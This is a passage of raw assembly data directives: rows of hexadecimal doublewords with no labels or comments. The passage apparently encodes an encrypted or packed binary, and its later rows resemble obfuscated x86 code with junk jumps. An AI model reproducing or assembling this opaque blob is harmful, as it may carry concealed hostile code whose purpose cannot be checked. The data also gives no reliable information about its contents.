56AEB3B1h, 0DF36D132h dd 0BF53BD75h, 56D5B080h, 56E23D3Dh, 0DC7AB132h, 56BAB130h dd 966ED052h, 0E2C10852h, 5BBE8A17h, 0FAABB132h, 5DC5585Eh dd 98D3473Ch, 4658A670h, 57FC3B53h, 59DD19CBh, 56AE73B7h dd 51BFD132h, 4BABB132h, 28CB0895h, 0DA52B36Ah, 0C71A93Dh dd 37450E3Dh, 5FB47731h, 0B5AEB132h, 885AD0A4h, 8A327065h dd 36D771B1h, 0E63A3054h, 37A63AE5h, 56BAB089h, 56575832h dd 0C76BB132h, 0FB6ABD9Fh, 15D70692h, 0D2DA6A39h, 56EAB120h dd 56743F3Dh, 0DC46B132h, 6687FFA8h, 0B52E4434h, 95544D33h dd 56BC3C3Dh, 443CB132h, 54EAB132h, 0A5BD03BFh, 536B037Eh dd 47DE3629h, 0CABD70A3h, 5E1038E1h, 56BF5952h, 0ED0CB132h dd 0C8207357h, 177C952Dh, 0B73F15B8h, 2CDA7D5Eh, 0DEA15912h dd 5657B132h, 1122D06Ch, 56D3583Eh, 448CB132h, 8AE42323h dd 56BA74DBh, 56585832h, 0EE2DB132h, 0A15C1F06h, 56BA58EAh dd 4946B132h, 2D8E18B1h, 2708680Bh, 6B63C812h, 73EE4A6Ah dd 56AEB1CDh, 5657A5DBh, 61B76932h, 87540639h, 3102FB48h dd 5CF6DB80h, 0CCBB51DDh, 599B9A5Ch, 56AEBDB0h, 0DE58D132h dd 56ABB132h, 3F000A54h, 59324653h, 5675A8B2h, 56AE5832h dd 0B4D2B132h, 22DA4CA2h, 82368E1Fh, 7F4CCF55h, 0F9171975h dd 9669D1A1h, 1CBD130h, 0D7949236h, 7A62C1D3h, 5847D06Dh dd 8557B132h, 50399560h, 51ED5FD8h, 0C6A2339Ah, 5E3238F1h dd 56BABCDBh, 311FCF32h, 0F179D77Eh, 0ED5BB261h, 1122785Ch dd 56C5583Eh, 0C53B132h, 13DBB7ECh, 26820038h, 502E6135h dd 5956C11Bh, 5657B9B5h, 5420BE32h, 36D5B132h, 5903D053h dd 0AC75B132h, 263C0B16h, 39DE94B7h, 0CDDC9EA0h, 9FAB1ABAh dd 56ABB7DBh, 94F8F832h, 9547B270h, 5675B9DBh, 0E9974532h dd 0DD88A08Dh, 0DD52E4D0h, 92D44DDEh, 0E9A4D1CEh, 0D93B30ECh dd 37ABD44Bh, 4EF8BE52h, 36BAB132h, 565DBFDBh, 1409232h dd 1EF27763h, 68D464DFh, 0D6301065h, 0BE8B4FE5h, 5675B132h dd 0C6503068h, 0BF5B80E1h, 56AEB139h, 0DB64BDBh, 9E225ABAh dd 59E04642h, 56EAA2B7h, 5BF1BE32h, 0BFBAB132h, 565DB13Ah dd 0DA645905h, 8F196ED0h, 37CBD152h, 372E0E3Dh, 3712063Dh dd 0C0DA0BB9h, 5A53B703h, 145DB132h, 6127E1F4h, 5065707Ch dd 6539F2B8h, 0E629D1FBh, 6969D0E3h, 44F1BE32h, 0BFBAB137h dd 565DB13Ch, 79A472B1h, 941D4568h, 8FD600BBh, 515ED0CBh dd 56EAB9DBh, 35161432h, 76B70A33h, 5A284EB7h, 56AEBADBh dd 5B1A7632h, 8C839040h, 76DE43E4h, 59E2C4CDh, 5675BABCh dd 56BC5832h, 0AAAB132h, 1D96133Eh, 5FEFD162h, 36DC3BB6h dd 863DD053h, 0BFEAB13Bh, 5675B121h, 14FAD994h, 3CD7563Bh dd 0C6E99079h, 57AF449Ah, 0AEAC3170h, 0D3DA7139h, 56EAB117h dd 5674373Dh, 0DD43B132h, 56565835h, 97ADB132h, 5CABDEBFh dd 778278F0h, 56FC5807h, 308AB132h, 838860B3h, 427D3253h dd 26933052h, 37F7A0BEh, 0A9A8F8DBh, 56A658CDh, 0BEB1B132h dd 85183F83h, 2413F07Fh, 0DFEDB27Eh, 0EE3D4D77h, 4D5240Eh dd 5657BEDAh, 30559732h, 9980E513h, 0F84D1DC3h, 679AF026h dd 37E0E960h, 3651C4CDh, 56AEB4DBh, 6C0BF432h, 0EFCDFDE2h dd 0A9B4A020h, 0BE8AB947h, 5675B121h, 8C1502B2h, 352FF691h dd 3F352834h, 0FC5729D9h, 30001AD3h, 0CED558Dh, 36DD4E53h dd 5670343Dh, 0DD02B132h, 1103D6h, 8ABE0A54h, 0AEBFD069h dd 59ABB13Ah, 56D5B6B9h, 5767BE32h, 0AA75B132h, 0D2B57139h dd 565DB12Ah, 56A23F3Dh, 51BEB132h, 1BABB132h, 5BC47608h dd 0E003C7BCh, 0A375B131h, 0BF46F4B9h, 565DB123h, 802DE7C8h dd 2DAC511Bh, 0B876D034h, 1EB1191Bh, 59ED8800h, 567625B0h dd 56B15832h, 17C8B132h, 76FD872Ch, 0F4CEFEB9h, 0AAEE4EB1h dd 56DE5852h, 0F711B132h, 0C1170C13h, 5C6095A8h, 29DED0E2h dd 0D2A1B136h, 5657B1B0h, 56BD333Dh, 473CB132h, 98EAB132h dd 38B8C65Dh, 0B487919h, 0A63BAE22h, 985F30E5h, 5657A0DBh dd 0A3818432h, 8A19E2B0h, 1BA1274Fh, 78AA33FBh, 29395F7Fh dd 0D252B13Eh, 56AEB174h, 564A3B3Dh, 0BFCBB132h, 56D5B126h dd 9AF3725Ah, 791A8730h, 0FD5E465Bh, 28FD6F5Eh, 577B5658h dd 3636D052h, 4F3756B3h, 0DDB39F86h, 3403D0E1h, 5975B132h dd 56BABCBAh, 56555832h, 7D8EB132h, 1AFA60D8h, 0A9136696h dd 0BF2A4ECDh, 56EAB135h dd 0D64752C2h, 0EF0819A5h, 565DB137h, 56A6323Dh, 437B132h dd 0B413D76Ah, 0FD26D0FBh, 5367BE52h, 0EF75B132h, 409730D8h dd 565DA0DBh, 0FD020432h, 0E7785666h, 0DB37E419h, 29ADB4AEh dd 0BF8B2289h, 0A98A4F56h, 46C532CEh, 0DD9BE37h, 0BFAEB132h dd 5657B13Dh, 0A46EED4Ch, 566D9E2Ah, 74A18CB8h, 0D54C628Ch dd 59BCA14Dh, 565D3CB7h, 512ABE32h, 3657B132h, 56C063Dh dd 3694D06Ch, 11F3A8Dh, 0B9F4D747h, 0DDDBA586h, 0D252B575h dd 56AEB133h, 5A083AC7h, 56A1343Dh, 30B5B132h, 30830689h dd 37088689h, 56BB7DDBh, 11D64432h, 0AE16D136h, 0C511h dd 0C7AD0F54h, 95ED06Ah, 56F9583Eh, 81CCB132h, 0BB950232h dd 0A471D650h, 535D9EABh, 7A3616E7h, 57C05856h, 0D3DAB132h dd 56EAB128h, 56705952h, 542BB132h, 0C38163Bh, 56AEB6DAh dd 0D6DFBB32h, 21BE363Fh, 115ED069h, 9614D36h, 5673583Eh dd 3A17B132h, 1B53016Ah, 59A6EE09h, 565714B7h, 0AEF94832h dd 56D4323Dh, 0DD12B132h, 7D8CB565h, 4653A167h, 0E95DB132h dd 36026D3Fh, 1D637267h, 28455C9h, 55C8F2B9h, 0DBE5A567h dd 5675B135h, 870DBE52h, 0DD3CEB62h, 0D1A1BD6Dh, 5657B13Ch dd 5627BE52h, 59D5B132h, 56EAB1BDh, 8C5ED032h, 56BAA3DBh dd 0CFDB2432h, 0B1F08A29h, 0A86BA7Bh, 68AE83B4h, 0D5B4CDAFh dd 308AB4D9h, 592A878Bh, 0CDB6B85h, 565DB4DBh, 0D2593832h dd 3037DC7Eh, 0D0A477B9h, 56D5B125h, 56EAA0DAh, 3B41FC32h dd 809D3A6Ah, 90B0BAB7h, 24DC157Bh, 370F1BD2h, 56ABFEDBh dd 115E4932h, 9614D36h, 567A583Eh, 7D6DB132h, 6DA84C71h dd 262E4492h, 0C5F3298Dh, 52F49A35h, 30243B52h, 372B588Dh dd 539E32CAh, 0A60DBE52h, 37AF3A54h, 56AEB8DBh, 6987D232h dd 36AFCCD8h, 0DCD6E80Fh, 50C1BFA7h, 56FBBE52h, 37BAB132h dd 554DCEB1h, 569D343Dh, 59ABB132h, 56ABBABEh, 0DEDAD132h dd 56EAB132h, 37BA0E3Dh, 4C34BE73h, 595DB132h, 56AEA5B7h dd 56585832h, 9124B132h, 0B2958B5Eh, 0B67FCE60h, 0C88D8D85h dd 36639A0Fh, 0D3524D52h, 56AEB132h, 0E831D153h, 0D7CDF91Fh dd 37987FD5h, 4464BE53h, 0BF75B132h, 56BAB13Fh, 891DCA1Fh dd 6008E56Eh, 0BAB87799h, 57F7385Eh, 56DB5833h, 0A4BAB132h dd 0BF1A1107h, 2D268AF3h, 66FADF03h, 0A9514E8Ah, 565958CDh dd 0FF95B132h, 0A7D33ADBh, 7BCE7277h, 0A84BC59Dh, 56BAB48Bh dd 41D0BE32h, 36AEB132h, 5657BBDAh, 1B0F6332h, 0EFFC804Eh dd 0E49B24Ah, 0E5943054h, 0FD49D08Ch, 8FB444CBh, 0BF514EC9h dd 5657B137h, 0A0923FB4h, 0DCB5D030h, 56ED58C7h, 38A0B132h dd 4868F6F1h, 3694D0F3h, 56AF323Dh, 0ECABB132h, 1BEFF251h dd 56C57353h, 56E9343Dh, 0AE15B132h, 59DAE453h, 565DB2BEh dd 4A463132h, 5657BADBh, 55F45A32h, 93AC058Ah, 0FC22A27Fh dd 44F4BE53h, 59BAB132h, 565DBDB4h, 56A95832h, 0FF90B132h dd 7155F882h, 36393AE1h, 0DA203054h, 54FDBE64h, 0DDBAB132h dd 92DED0E3h, 0BECED1CEh, 5657B13Eh, 0D2A9AB80h, 0DB8F3F5Bh dd 7E13AF48h, 77860E6Ah, 30DBAE78h, 4B1A56B3h, 0BECED153h dd 5657B134h, 79E44082h, 0E292DFBh, 0B56BD762h, 372ADC14h dd 56BAB1DAh, 0BCDCEB32h, 509F6887h, 5657BEDBh, 64CAC432h dd 0C0EEA2D4h, 5025657Bh, 0EC9E77Fh, 56B63F3Dh, 0DA52B132h dd 56AEB134h, 5657373Dh, 0DD53B132h, 67431E88h, 4D6BBE34h dd 3675B132h, 56BAA0DAh, 0C10D6532h, 0A645F04Ah, 5294D410h dd 0F06ACB6Ch, 368AD36Bh, 9FD9D053h, 5675A3DBh, 3C8CE632h dd 4A4FA25Dh, 2036E043h, 0ECD6EFBFh, 0D5095643h, 0D2DAB10Dh dd 56EAB2F2h, 5675B4DBh, 8BCB4132h, 51D62C4Ch, 56A43E3Dh dd 53BEB132h, 0E1ABB132h, 6B4B490Eh, 36E6C4CDh, 0D49A3054h dd 5638BE32h, 375DB132h, 59A6C4CDh, 5657B0B9h, 59CB4D32h dd 56D5B2BFh, 8F61D732h, 5675353Dh, 6DBB132h, 55FC59CAh dd 5D47B132h, 9657B132h, 0AA6AC1B0h, 12519E26h, 96E1BDD2h dd 5644343Dh, 5853B132h, 9B5DB132h, 0FD038762h, 85D3AD25h dd 0AFAD722Dh, 0A3D23A32h, 56EA8FDBh, 56645832h, 0F35B132h dd 0D469DD3Bh, 5150986Eh, 231E18ECh, 0D5CBB32Ch, 503CA5F5h dd 12EAB132h, 3DAD15CDh, 0A9F75819h, 363D4ECDh, 56AE3E3Dh dd 0DC58B132h, 56ABB132h, 0F5BB0853h, 0DF8B8141h, 479C4D77h dd 21BAB132h, 0AB88CA72h, 5A0D6895h, 0B70BCBE9h, 851A1617h dd 0B60D152h, 0EE8BD052h, 47B16E2Ch, 5ACF4E53h, 565DBEDBh dd 6205FD32h, 0C84849C1h, 0BE74DDE8h, 9CE08D90h, 59E2C4CDh dd 5675A8BFh, 37DAD132h, 565DA1DBh, 0FC328D32h, 7E20D597h dd 1989B372h, 0C527FF64h, 4503D0E7h, 0B375B132h, 8B131BAAh dd 0DB2E5C94h, 0C94C7D4Bh, 0BD3FF65Bh, 61540D9Bh, 9C5ED752h dd 5E03D153h, 7275B132h, 0E330B95Fh, 375F94C8h, 56AC2FDAh dd 565D5832h, 0CADFB132h, 0CCB23150h, 9AA7C566h, 0D27A7139h dd 56BAB101h, 565DBADBh, 0D5651C32h, 5D33C887h, 179005D0h dd 56D7F2DBh, 56EF5832h, 5F1FB132h, 0BFF2606Dh, 565DB13Dh dd 8BD63252h, 793DC74Dh, 0D8CBAE88h, 0DD788BC1h, 0DFE54D77h dd 5675B138h, 0A13BD752h, 9DDD4A85h, 5197D019h, 545D333Dh dd 0BECBB132h, 56D5B135h, 22907201h, 59EFC529h, 0AAE26A85h dd 0AA184E53h, 294D3052h, 595635F9h, 56ABB2B3h, 8F5ED732h dd 52953253h, 17F1BE32h, 36BAB132h, 6B7B0954h, 292DD0C7h dd 0D258B13Eh, 56ABB102h, 56D5B9DBh, 0EF599B32h, 1E9438A0h dd 56AB583Bh, 0FE19B132h, 9E5B490Bh, 3F09545Eh, 0D8574E2h dd 0BF14D54Dh, 56EAB10Eh, 67CFD752h, 374B3BB1h, 0A9A24E8Ah dd 531744CDh, 0AA57B132h, 0BF521AC1h, 0A92A4F9Bh, 56F03C3Dh dd 0DC7AB132h, 56BAB126h, 565DBEDBh, 0F6612F32h, 0D3FAF10Bh dd 8CB8E622h, 92CACF7Dh, 53FACEB1h, 5608353Dh, 0D546B132h dd 595BA14Dh, 56AE35B7h, 53BFD132h, 84ABB132h, 0E9113E43h dd 30B4D052h, 3752A688h, 56BD3C3Dh, 0DD52B132h, 56AEB133h dd 3637F0CEh, 0B24C3054h, 0BFB4D0D5h, 56EAB13Dh, 31487F08h dd 49FBB43h, 61D51644h, 0DDC70EB5h, 3037B575h, 14EB7BB3h dd 975ED752h, 368BD0CAh, 5A2A3A53h, 56BABBDBh, 650C6B32h dd 66CE106Ah, 0BF8EC086h, 56ABB14Fh, 56D5B7DBh, 0CAD78432h dd 0DD0D59E7h, 0DD4FB575h, 0A33DBD6Dh, 0BFCF5FB8h, 5657B16Ch dd 52EC3AC7h, 5A8A3AC7h, 52B59ACBh, 539E32CBh, 46C532CBh dd 15D8BE31h, 0BFAEB132h, 5657B13Bh, 95E9B312h, 3133BF49h dd 56E75822h, 0ABF0B132h, 0FD918EA5h, 897F8357h, 170A01BCh dd 55D0BE52h, 0D6ABB132h, 443C06DEh, 0BAEAB132h, 12F73DD8h dd 8945D464h, 80B4FBB7h, 0C6F9735h, 8F7CD0A4h, 57F738C7h dd 0EDB3D133h, 0A26AB73Ah, 0D77AD0E7h, 56BAB12Eh, 564B363Dh dd 4747B132h, 1857B132h, 28352A2Ah, 0F3AB84EAh, 0BDF42DC2h dd 8D4DA3E5h, 0A9454E8Ah, 47D5BECDh, 59AEB132h, 5657BABAh dd 56AD5832h, 2348B132h, 5DEFF038h, 5675B48Bh, 56B75832h dd 264DB132h, 0FE79209Dh, 0EA8BCCC0h, 0A5963A2Ch, 703C4499h dd 0A3154ECFh, 9F8C4D53h, 56BABDDBh, 67166B32h, 44F22C6Ch dd 0BB608FEDh, 8120D148h, 0EEB20954h, 56E27353h, 5670363Dh dd 30DAB132h, 363C66B9h, 3CF6BB9h, 59BB3AC7h, 56ABBDB0h dd 505DBE32h, 59EAB132h dd 5675B1BAh, 5031BE32h, 365DB132h, 0AE5F3A54h, 0AA933253h dd 56ABA3DBh, 395FEB32h, 5B9AAF01h, 70526A45h, 60777ED3h dd 36A22932h, 56A93A3Dh, 0DA58B132h, 56ABB133h, 5E903ACAh dd 302C3B52h, 6D147EB9h, 0D4B5BD77h, 565DB103h, 56A9353Dh dd 3037B132h, 0A3C4408Dh, 46908A53h, 56F1363Dh, 5915B132h dd 86316A8Dh, 0AA187653h, 56AEB132h, 564C58CEh, 3652B132h dd 971831CAh, 0AAAF7653h, 5675B133h, 56BD58CBh, 0DA52B132h dd 56AEB133h, 0BF37D0CEh, 56ABB13Dh, 446FE9F4h, 5CE4A62Fh dd 6BCD13BEh, 592FE293h, 565DB2BAh, 527D3132h, 0AA123A53h dd 464278CEh, 6D5B132h, 5D7EB706h, 9E4C6900h, 19A9CB32h dd 94FEF423h, 352B13Eh, 0AEBB3ACEh, 365775B1h, 56D5A5DBh dd 4CED4B32h, 51EA11F7h, 0AFFF161Bh, 0E05C55B7h, 683BB481h dd 0A8E0BE1Fh, 0D3A4D153h, 56D5B133h, 345ED1CAh, 0C7BA3054h dd 5652D065h, 0C5DB132h, 89995BB3h, 5937B703h, 0E9A46A85h dd 0DFDAD0CAh, 56EAB133h, 5EFABECEh, 59BAB132h, 565DB3B6h dd 65CFD132h, 564658FBh, 0F1B2B132h, 0D3524CC7h, 637CFE50h dd 0EB9D715Eh, 658F1311h, 565358E9h, 134DB132h, 0F9B6371Fh dd 0AC38184Ah, 847BACA1h, 0AF16ECBBh, 0C0DA0BB9h, 6DAB703h dd 565D363Dh, 0BFF1B132h, 5657B137h, 0D052157Ch, 6956D0C7h dd 686EBE32h, 0A375B130h, 59458EB1h, 565D81B7h, 912D4D32h dd 0D6584826h, 56ABB12Ah, 56D5A2DBh, 0BFFBDA32h, 1B8122B1h dd 88D2F57Eh, 0C56EDF6h, 0D866B62Ah, 0A9A874DBh, 912AD1CDh dd 629BDE28h, 52953253h, 6FF1BE32h, 59BAB132h, 565DB0B4h dd 292D4832h, 0D258B13Eh, 56ABB11Ah, 56D5B6DBh, 0F1AC8132h dd 9834D46Ah, 56BAFFDBh, 564F5832h, 978FB132h, 3E0A8B31h dd 0CD531E53h, 0A2959B8Ch, 7404854Ah, 0BF89F4CDh, 56BAB137h dd 0E278EDECh, 42693266h, 0F5FF0852h, 0BFCAC211h, 0A92A4E6Ch dd 56EC343Dh, 0A315B132h, 37450E3Dh, 565DBBDBh, 69D8CB32h dd 9E706C02h, 0D5BAE69Ch, 59D0A14Dh, 56EAD6B6h, 51F0BE32h dd 59BAB132h, 565DB0BBh, 292D4832h, 0D358B722h, 56ABB1BBh dd 443CD152h, 0CBEAB132h, 95BEDCCBh, 0BA1B5D20h, 45E4A36Ch dd 0C0709B86h, 56D0BE84h, 37ABB132h, 0AF944453h, 0AEEEF6B9h dd 0BF79EEB9h, 56BAB120h, 0E30CB57Eh, 25E273ADh, 0CC3E69F0h dd 395E7874h, 0F73CA786h, 36EAB132h, 30AD0E3Dh, 37082E8Ah dd 0AE59F6B9h, 56A9363Dh, 0DD37B132h, 9520D7CAh, 5A8A3A53h dd 8260E652h, 37963B6Ch, 56BAC5DBh, 593DD132h, 56AEB1BDh dd 56515832h, 2EE7B132h, 0BA5A18EEh, 9455BE53h, 52323A53h dd 56BAB4DBh, 54AA7632h, 925744Dh, 45BED13Eh, 2DABB132h dd 8423749h, 40D3DF99h, 1A71282Bh, 845840DFh, 5FB4CD19h dd 66AEB132h, 0C482BF7Ah, 0DC75475Fh, 528A9A53h, 530132CEh dd 460A32C7h, 443FBE31h, 0BF5DB132h, 56AEB137h, 7FEE99E4h dd 0D0A4F043h, 56D5B133h, 0AF339AC7h, 5774EDBBh, 0C94B3152h dd 565F3D3Dh, 8FCB132h, 565A5853h, 0F823B132h, 0FA5AD825h dd 0C90C4797h, 0EE26B7FFh, 0A9454ECDh, 5644303Dh, 4247B132h dd 5E57B132h, 1B7A3B8Eh, 60357FD5h, 0E88FEE0Fh, 0E33F68FEh dd 0EF78FC88h, 565DB137h, 56BB323Dh, 5937B132h, 56ABB1B2h dd 56D25932h, 80CCB132h, 0C77D9B84h, 0A5DBEBA8h, 9DB44999h dd 59514ECFh, 5657BDB9h, 0EDCDD132h, 0D0DA0605h, 56EAB132h dd 0BF15D053h, 56BAB13Fh, 0F8AD169Ch, 1B2FAABDh, 90E88F25h dd 0A914BEB9h, 0AA903A53h, 420378C7h, 7975B132h, 76A1A12Bh dd 6E0CA0F1h, 69009122h, 23AB818Ah, 956FDAC1h, 56D5B4DBh dd 45D3D432h, 0BF25AA06h, 56BAB138h, 0DAB81B6Eh, 0D87E7D35h dd 590641D1h, 56ABBDB5h, 5054BE32h, 59EAB132h, 5675B1B7h dd 5B53E232h, 595DB132h, 848658C6h, 0F78EA49Bh, 91EB62A5h dd 56D5B1DAh, 0BC6BEB32h, 5044535Bh, 56BAA5DBh, 8FE57F32h dd 3194DCDCh, 7D71B0C6h, 0A04A1E72h, 9C72A9C8h, 0D78A44F3h dd 3135E6D1h, 0CC37D011h, 506C26B3h, 56AF353Dh, 0EEABB132h dd 56ABB156h, 56D5B9DBh, 0D28C8A32h, 8631C5BFh, 53D95924h dd 303DB132h, 0C3F873B3h, 565C5853h, 4702B132h, 4E07C02Dh dd 11C053Dh, 367E3A9Bh, 56BABFDBh, 0F55EC932h, 0F1EA68CCh dd 62D27884h, 3731ED17h, 0BF2D7009h, 56EAB15Ch, 57FCBECEh dd 0AABAB132h, 0AF59FA31h, 0D4A17009h, 5657B1B3h, 46E0B2CEh dd 56DB3F3Dh, 5F03B132h, 6E75B132h, 89FACA1Fh, 60FBE56Eh dd 0D4A17009h, 5657B12Fh, 568858CEh, 59B5B132h, 0BF8B728Dh dd 5675B13Fh, 692D4CB7h, 64381A19h, 0E6206E10h, 563C5896h dd 0D1A4B132h, 56D5B133h, 56B558CBh, 519CB132h, 0DDBAB132h dd 0A128D953h, 0CC236092h, 5065D448h, 56A7383Dh, 0D5DAB132h dd 56EAB134h, 5675383Dh, 8545B132h, 566E58CEh, 0D6CEB132h dd 9BE399EFh, 0F6313C53h, 36D3835Ah, 0A20B3054h, 55F9BE69h dd 59BAB132h, 0A93C6A85h, 56A158E1h, 0B12CB132h, 0A46ABFEEh dd 83F11AEEh, 56F87E92h, 0BF15EA56h, 56BAB123h, 0B009AD35h dd 0FB4FE5AFh, 1AF14B2Eh, 0CB743625h, 37103BE1h, 5912D16Bh dd 5675B7B7h, 5635BE32h, 375DB132h, 0BF6D496Ah, 5657B121h dd 0E20B45BAh, 578BBCD3h, 28F8A45Ah, 783C31D6h, 3E35825h dd 5654373Dh, 0CEB132h, 0B1D6D76Dh, 0DDCA3925h, 563D4DDEh dd 0CEAB132h, 0B27E5BB3h, 0AFDAB703h, 0DD3BD153h, 56A159E1h dd 970BB132h, 0D71D5E02h, 7E0D2A90h, 0C67E2409h, 567C580Dh dd 96FEB132h, 344723E2h, 0C1D96ACh, 56505853h, 7ABDB132h dd 0A7A7401h, 0DFE5D1B6h, 5675B13Eh, 56BC3E3Dh, 0DF52B132h dd 56AEB132h, 0C1D60BBFh, 0DCA4B703h, 56D5B13Ch, 56EAB8DBh dd 0F4CF3932h, 6D1C32D4h, 13D68F09h, 0E9A1D13Ah, 1FE309E5h dd 0AECA8997h, 0D7B5B6BBh, 0E9FF36FAh, 13FED025h, 573DBE3Eh dd 0A35DB132h, 59AAF6BBh, 5657BEB1h, 56A15832h, 86C6B132h dd 70A4F3FDh, 2E270E58h, 36AAF4B9h, 328E31CEh, 5AE93853h dd 5656393Dh, 0DD52B132h, 0DFDAA577h, 56EAB12Bh, 5675A5DBh dd 0EBA4E732h, 81D7A3FBh, 22DB4EA9h, 0E7D1CC7Eh, 0CF555CEh dd 5F51BE4Fh, 36EAB132h, 0DE850A54h, 37E95AB2h, 594DF6BBh dd 56AEBEB0h, 565D5832h, 4FE1B132h, 0DDF8F957h, 25BA01A8h dd 56725853h, 0E67CB132h, 73CB8EDEh, 0D6A178A4h, 5657B133h dd 56BB73CAh, 56D5B7DBh, 8E711332h, 59E08A1Ah, 56BAA4B7h dd 564D5832h, 8BCAB132h, 722F3501h, 872C38B2h, 0A7885C32h dd 368A1DC0h, 3DBA3054h, 37E0E2E0h, 657034F4h, 36E9B719h dd 56513A3Dh, 0DFA4B132h, 56D5B132h, 3E8B0185h, 0FE62C228h dd 56B0333Dh, 53B4B132h, 72AEB132h, 0AA8462AAh, 56ABA3DBh dd 43102032h, 1F5E799Fh, 20075198h, 0B26CC5B5h, 0A9E622AAh dd 7DB56C87h, 58DDBE34h, 0BFABB132h, 56D5B13Bh, 9B7EC13Dh dd 2BAF38AFh, 0BD3F3C86h, 0A35B9FB1h, 0DAA161CDh, 5657B13Ah dd 851CBE52h, 37143A54h, 4267BE60h, 0BF75B132h, 56BAB13Dh dd 0CF5EBF7Ch, 0D3D2904Ch, 3226487Bh, 0DBB3EDB1h, 674C30B8h dd 59BB4434h, 5675B4B5h, 742D132h, 86A2D06Bh, 8F24E652h dd 0C364D6Ch, 56BE3B3Dh, 59B5B132h, 56EAB1BEh, 567D5832h dd 0B101B132h, 2C6BD6AEh, 0DBCFA55Bh, 67CE30B0h, 0E1A44D34h dd 0D2DABD72h, 56EAB137h dd 0FC933152h, 36623A53h, 0E160D58Bh, 4222BE36h, 0BF57B132h dd 56ABB13Dh, 75F2FF77h, 0C758BDFEh, 16BF75CEh, 3745CB66h dd 57DCBE60h, 0A3AEB132h, 45BE803Dh, 50ABB132h, 1530FA3Ch dd 0F76A7D65h, 4B62838Ah, 0CB5E2078h, 0BF0718E8h, 56AEB126h dd 1FE81641h, 0DD780101h, 0B4F906E2h, 60827D0Dh, 0B6023D07h dd 58537231h, 5B5DB132h, 96140754h, 0C9DBEC04h, 0C5D5CA61h dd 6B573873h, 36EC9A25h, 0EE13D1CAh, 0D7DC678Dh, 372A26E2h dd 4647D053h, 0C57B132h, 9B8AE0EAh, 0EADB005Ah, 78BC5E62h dd 59EF7B14h, 56BABCBFh, 0D73BD132h, 5913E7F8h, 5657B1B2h dd 0AF68D032h, 56C15852h, 0F7F1B132h, 0EC9E32F3h, 39CD0011h dd 0EE915E94h, 2E928605h, 8ED7ED9Eh, 0F51D084h, 181h, 0F52F800h dd 1483h, 0FE900h, 0FC7E0000h, 3B888B8Bh, 70BE41B5h, 220CDC6Dh dd 0E869h, 815A0000h, 31E72AEAh, 0F60FC06h, 8166F3B7h dd 61E88ED2h, 15B86660h, 73E180A6h, 860F5261h, 0Eh, 8B0F60h dd 0F000000h, 84h, 828B6100h, 62B173Dh, 0F7BF0F60h, 61C3BF0Fh dd 0C64E6DB9h, 0E1F7F841h, 0B9665060h, 605F5FBCh, 0F5A6161h dd 0C85h, 7E900h, 985E0000h, 0C06D0CFDh, 303905A3h, 800F0000h dd 10h, 0BE9h, 13340B00h, 9E411581h, 4E929CC4h, 0FFFFFF25h dd 0C8F0F7Fh, 0F000000h, 683h, 860F00h, 89000000h, 2B173D82h dd 78C0F06h, 0F000000h, 185h, 605AF800h, 665B5760h, 2DD8C181h dd 62C18161h, 61081C12h, 0CE9h, 835EA00h, 580D03E2h, 8B79822Bh dd 0F6059F6h, 68Ch, 890F00h, 0F000000h, 686h, 8E0F00h dd 61000000h, 0F60F9C3h, 0D68BF7BFh, 0AE95161h, 90000000h dd 87101576h, 0A502D5FEh, 0E960528Ch, 0Ah, 9EB3C1B1h, 0B0D49C86h dd 0E861E4CAh, 0 dd 40EA815Ah, 0F50631E8h, 1890Fh, 8BFC0000h, 0F860FCC8h dd 148E0Fh, 0FE90000h, 53000000h, 62011884h, 4AF89873h dd 39D258EEh, 0E86163A2h, 0FFFFFE8Eh, 0EE9F8h, 8E610000h dd 5FCFA322h, 0F15F6907h, 0A23ED0DCh, 0FF5D233h, 189h dd 0F1F7F900h, 0FC28BFCh, 0C89h, 6880F00h, 0F000000h, 81h dd 59FC5A00h, 0CE9h, 0C0430000h, 0D4141319h, 247B41E8h dd 8BF9C365h, 0C08BF5C0h, 8830Fh, 810F0000h, 2, 858D6160h dd 631AFDBh, 0A850Fh, 66600000h, 9795CA81h, 61A2E180h dd 0E9D0FFF9h, 11h, 5136DC2Fh, 580C3217h, 0C2BF5AD0h, 0F6110EACh dd 0C18B66AAh, 11E960h, 0EA4A0000h, 0EEC590DAh, 49A49EA1h dd 6A66E9BAh, 0FCA0BD7Fh, 2858D61h, 0F90631E7h, 0BE9h dd 4F951C00h, 2ABC2803h, 0BFEF6F76h, 1F818589h, 810F062Bh dd 1, 19858DF9h, 600631E8h, 5E8h, 71FE0B00h, 820F4F63h dd 0 dd 0DE958h, 0A2540000h, 0E188A170h, 86A5BC99h, 61D0F029h dd 2B158589h, 0B8F5062Bh, 0 dd 64F68160h, 0F30DB97h, 281h, 61FE8B00h, 840FC00Bh, 172h dd 13E9h, 9E199500h, 0EC472DECh, 0BF49A384h, 671DA23Bh dd 7695F91h, 332D85C6h, 0F56062Bh, 18Bh, 68F8FC00h, 0A9C530DFh dd 13E9h, 12AF5B00h, 90435020h, 0B6DA88F4h, 0CA1C5D46h dd 3FC40FA8h, 1BDDB5FFh, 0DE9062Bh, 62000000h, 1E76BBB4h dd 8406A45Dh, 0F9A08F2Dh, 83EB858Dh, 0CE9062Eh, 60000000h dd 3DA751E6h, 0E92E4306h, 0FF807252h, 1850FD0h, 0F5000000h dd 8840F50h, 0F000000h, 283h, 8D616000h, 2B2AF18Dh, 1860F06h dd 0F5000000h, 890F51F8h, 0Ch, 68B0Fh, 830F0000h, 0 dd 128A0Fh, 0E8600000h, 0Ah, 79BBFE9h, 0ED369055h, 615A8603h dd 810F046Ah, 10h, 0BE9h, 14BAA200h, 0B789D0FDh, 2997871Fh dd 1810Fh, 68F90000h, 1000h, 0EB816660h, 0FF61CEBDh, 2B0809B5h dd 14E906h, 18030000h, 0B29F6536h, 0B9EF9932h, 6E4B9916h dd 0A56B399h, 0D0FF9CE4h, 5E9h, 0C6594200h, 0BD8B487Dh dd 62B0809h, 10800Fh, 0BE90000h, 4000000h, 21109FD3h, 0AF8643DEh dd 7F03A6D7h, 0BA66603Ch, 0F08ADF19h, 0F8C78161h, 0E9000000h dd 7, 0D7734F85h, 0C7D2434Ah, 202447h, 13E96000h, 58000000h dd 4B25BD22h, 2F8A1AAAh, 0E39123DAh, 9276575Dh, 9D8D58B0h dd 62B18D5h, 18880Fh, 0E8600000h, 0Dh, 0A9FAD22h, 929B0CE3h dd 4D8DFFA3h, 0BF0F5A4Bh, 38B61C6h, 10830Fh, 0BE90000h dd 59000000h, 36A2EAE2h, 0BEC6C8CFh, 0C00B8E2Fh, 39840Fh dd 0F600000h, 28Bh, 615A5200h, 58E0F60h, 0BF000000h, 6450E14Bh dd 8B61B3B2h, 0BE900h, 0E9550000h, 